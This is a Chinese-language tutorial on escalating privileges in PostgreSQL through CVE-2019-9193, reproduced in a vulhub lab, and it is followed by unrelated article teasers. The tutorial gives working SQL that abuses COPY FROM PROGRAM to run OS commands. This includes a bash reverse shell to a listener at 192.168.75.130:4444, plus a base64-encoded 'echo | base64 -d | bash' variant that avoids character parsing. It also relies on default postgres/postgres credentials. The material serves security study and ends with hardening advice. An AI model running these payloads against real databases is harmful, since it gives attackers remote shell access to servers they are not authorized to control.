PostgreSQL数据库提权

前面讲述了mysql、SqlServer、Redis数据库相关的提权方式,有兴趣的也可以去看看。

这里讲的postgreSQL数据库提权就是任意命令执行漏洞(CVE-2019-9193)。

目录

数据库简介

漏洞原理

影响版本

漏洞利用

利用前提

漏洞复现

复现准备

复现过程

 漏洞修复


数据库简介

postgreSQL是一个功能强大对象关系数据库管理系统。

漏洞原理

从9.3版本开始,Postgres新增了一个“COPY TO/FROM PROGRAM”功能。这个功能允许数据库的超级管理员用户以及pg_read_server_files组中的任何用户执行操作系统命令。

影响版本

PostgreSQL 9.3 - 11.2

漏洞利用

利用前提

  • 需要登陆
  • 需要高权限

这就意味着,需要进行弱口令爆破或者其他方式知道账号密码登录之后,然后查看是否是高权限。

漏洞复现

复现准备

这里使用vulhub靶场复现,vulhub搭建自行搜索。

cd postgres/CVE-2019-9193
docker-compose up -d
docker-compose down -v     #关闭靶机

然后需要使用dbeaver连接PostgreSQL(看到很多资料都是使用navicat连接的,但是看了一下navicat是需要购买的(有试用期,网上也有很多破解版)不介意的可以去探索使用navicat,因为navicat确实比dbeaver是更强大的)。

dbeaver安装参考链接:【数据库】DBeaver操作所有数据库管理工具使用详解_dbeaver的使用-CSDN博客

dbeaver是一款数据库连接工具,免费且跨平台。

navicat是非常强大的可视化数据库管理工具,提供图形化界面,提供简便的管理方法。

复现过程

1、使用dbeaver连接PostgreSQL:账号/密码为postgres/postgres。

2、然后右键public,新建查询

3、然后执行以下命令

-- 先删除你想要使用但是已经存在的表
DROP TABLE IF EXISTS cmd_exec;

-- 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);

-- 执行系统命令利用特定函数,这里输出系统信息
COPY cmd_exec FROM PROGRAM 'id'; 

-- 查看执行结果
SELECT * FROM cmd_exec;

可以看到成功执行。

4、接下来进一步利用,进行反弹shell。先开启监听nc

5、执行以下反弹shell命令

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.75.130/4444 0>&1'; 
SELECT * FROM cmd_exec;

可以看到这里出现了错误

6、尝试将反弹shell进行base64编码(注意这里不是编码直接放进去,编码后的不能进行执行,要做的是解决数据传输过程中的特殊字符被解析的问题,所以可以写入一条将编码后的解码然后再执行的一条命令)

#编码前
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.75.130/4444 0>&1'; 

#编码后
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNzUuMTMwLzQ0NDQgMD4mMQo=" | base64 -d | bash';

 成功执行。

7、成功反弹shell

 漏洞修复

  • pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;
  • 增强密码的复杂度;
  • 进行网络隔离,限制 IP 访问,只允许需要的 IP 连接;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/660009.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JVM学习-字节码指令集(二)

对象的创建与访问指令 创建指令 虽然类实例和数组都是对象,但Java虚拟机对类实例和数组的创建和操作使用了不同的字节码指令创建类实例指令:new 它接收一个操作数,指向常量池的索引,表示要创建的类型,执行完成后&am…

基于匹配追踪和最大重叠离散小波变换的ECG心电信号R波检测(MATLAB 2018a)

准确识别心电信号的R波是进行HRV分析的前提。因此,开发出准确的心电信号R波检测方法十分重要。近几十年来,提出的R峰检测方法主要分为两个阶段。第1阶段是预处理阶段,目的是对受不同噪声影响的原始心电信号进行降噪处理,从而实现增…

1794 jsp蛋糕店管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 jsp 蛋糕店管理系统 是一套完善的web设计系统,对理解JSP java编程开发语言有帮助采用了java设计,系统具有完整的源代码和数据库,系统采用web模式,系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发&…

Pycharm打开django支持

在 PyCharm 中打开 “Settings/Preferences” -> “Languages & Frameworks” -> “Django”。 勾上Enable Django support 然后配置好文件根目录就好了

STM32FLASH闪存

文章目录 前言首先来回顾一下存储器映像FLASH简介闪存模块组织Flash基本结构(关系)图Flash解锁使用指针访问存储器FLASH操作Flash全擦除Flash页擦除Flash写入 选项字节选项字节操作选项字节擦除选项字节写入 器件电子签名注意闪存控制寄存器一览 前言 本…

Spring Boot 2 入门基础

学习要求 ● 熟悉Spring基础 ● 熟悉Maven使用 环境要求 ● Java8及以上 ● Maven 3.3及以上:https://docs.spring.io/spring-boot/docs/current/reference/html/getting-started.html#getting-started-system-requirements 学习资料 ● 文档地址: htt…

松下MINAS A6B系列旋转电机规格书--A系列

一、松下电机型号的识别方法 二、松下标准型电机型号大全 三、松下电机的规格 四、电机外观 五、XA,XB连接器 六、USB连接器 七、EtherCAT用连接器X2A、X2B 八、IO连接器X4 输入输出信号接口 九、编码器连接器 十、模拟监视器用连接器X7 十一、电源连接器以及端子台…

python-web框架应用程序-Django环境搭建

python-web应用程序-Django环境搭建 一、Django入门 使用Django(http://djangoproject.com/)来开发一个名为“学习笔记”(Learning Log)的项目,这是一个在线日志系统,让你能够记录所学习的有关特定主题的知…

DiskCatalogMaker for Mac:您的磁盘目录管理专家

对于需要管理大量磁盘文件的用户来说,DiskCatalogMaker for Mac无疑是一款不可或缺的工具。这款专为Mac用户设计的磁盘目录制作软件,以其简洁的操作界面和强大的功能,帮助您轻松创建和管理磁盘目录。 DiskCatalogMaker支持多种磁盘格式&…

CSS学习笔记之高级教程(一)

1、圆角:border-radius border-radius 属性可以接受一到四个值。规则如下: 四个值 - border-radius: 15px 50px 30px 5px;(依次分别用于:左上角、右上角、右下角、左下角) 三个值 - border-radius: 15px 50px 30px;&a…

简介有限面积和无限周长

前言 分形理论是一种非常重要的科学概念,它被广泛应用于物理学、数学、生物学等领域。分形理论描述了一种重复自相似的结构,这种结构在不同的尺度上都具有类似的形态。由于分形理论的应用广泛且深远,了解分形理论可以帮助人们更好地理解自然界和人造世界中的现象。 作为一…

增强团队建设和创造力的 6 个敏捷游戏

加入敏捷框架提供了对资源的访问和支持,可以帮助你的组织最大限度地发挥敏捷的优势。它还提供了一个与其他敏捷从业者联系的平台,以共享最佳实践并相互学习。 实践敏捷工作方法可以让团队按照自己的节奏,尽可能多地发挥创造力来追求目标&…

网易狼人杀 设置点击自动发言

我们玩网易狼人杀 刚开始 都会发现 要按住麦克风才能发言 不得不说 相当的麻烦 我们可以点击如下图 右上角这个设置的齿轮 新弹出的设置面板上 勾选这个点击发言 然后 我们只需要 点一下 就可以进入发言状态 然后 再点一下即可停止发言 会方便非常多

游泳时用什么耳机听歌好?精品榜前四游泳耳机揭秘,款款佳品!

游泳时用什么耳机听歌好?这无疑是众多水上运动爱好者的共同疑问。在享受游泳带来的清凉与畅快时,若能伴随着悦耳的音乐,无疑能让整个体验更加完美。然而,市面上的游泳耳机种类繁多,品质各异,如何选择一款既…

网盘拉新项目,一单6.1,分享就能赚钱,人人可做!

前言 有几个圈友在问我,2024年有没有好的副业变现项目,我盘点近期比较热门的项目,比如红包封面、公众号爆文、视频号分成计划、网盘拉新等,最后我给他们的建议是网盘拉新项目。 该项目算比较老了,但确实是一个比较赚钱…

探索Codigger文件管理器(File Explorer)的创新与实用性

在数字时代,文件资源管理器作为桌面环境中不可或缺的一部分,承担着管理文件和文件夹的重要职责。Codigger文件管理器(File Explorer)以其独特的创新和实用性,为用户提供了高效、便捷的文件管理体验。 Codigger文件管理…

k8s 的 pod 基础 2

一、pod的镜像拉取策略 (image PullPolicy) Pod 的核心是运行容器,必须指定容器引擎,比如 Docker,启动容器时,需要拉取镜像,k8s 的镜像拉取策略可以由用户指定: 1、IfNotPresent &…

NTLM Relay Gat:自动化NTLM中继安全检测工具

关于NTLM Relay Gat NTLM Relay Gat是一款功能强大的NTLM中继威胁检测工具,该工具旨在利用Impacket工具套件中的ntlmrelayx.py脚本在目标环境中实现NTLM中继攻击风险检测,以帮助研究人员确定目标环境是否能够抵御NTLM中继攻击。 功能介绍 1、多线程支持…

关于如何在 smartforms 中 debug

发现一旦smartforms 复杂起来,Debug的时候就一下子找不到指定位置,所以如何才能最简单的找到指定位置呢 以这个为案例 然后打上断点即可debug

Science Advances|柔性超韧半导体纤维的大规模制备(柔性半导体器件/可穿戴电子/纤维器件/柔性电子)

北京大学 雷霆(Ting Lei)团队,在《Science Advances》上发布了一篇题为“Continuous production of ultratough semiconducting polymer fibers with high electronic performance”的论文。论文内容如下: 一、 摘要 共轭聚合物具有良好的光电特性,但其脆性和机械特性差,…